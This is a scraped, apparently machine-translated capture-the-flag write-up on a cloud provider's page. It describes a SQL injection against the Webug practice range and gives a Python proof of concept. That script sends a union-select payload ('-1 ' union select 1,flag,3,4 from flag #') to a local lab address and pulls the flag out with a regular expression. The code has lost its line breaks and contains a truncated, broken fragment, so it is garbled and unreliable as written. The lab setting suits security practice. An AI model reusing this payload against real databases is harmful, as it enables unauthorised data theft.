Using Python to write an injection vulnerability POC

Source: Internet
Author: User

A simple injection problem in the Webug shooting range

Add an error after adding

Could not to the database has a error in your SQL syntax; Check the manual-corresponds to your MySQL server version for the right syntax-use-near ' 1 ' on line 1

Can roughly guess is double quotation mark problem, close, next is the normal injection process, finally get flag

Here is the code

#-*-coding:utf-8-*-ImportRequestsImportRedefPOC (): URL="http://192.168.241.128/pentest/test/sqli/sqltamp.php"Data={        "GID":"-1 ' union select 1,flag,3,4 from flag #"} req=requests.get (url,data) Red=REQUESTS.P HTML=req.content HTML=html.decode ('Utf-8') Sear=r'The name is: (. +?) </font>'Flag=Re.findall (sear,html) with open ('Test1.txt','W') as F:f.write (STR (flag))if __name__=='__main__': PoC ()

Here I use a regular match to match and write the flag to the file, and be sure to transcode the returned data

Otherwise, there is no match, and%23 to be written # to be recognized by Python.

Using Python to write an injection vulnerability POC

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.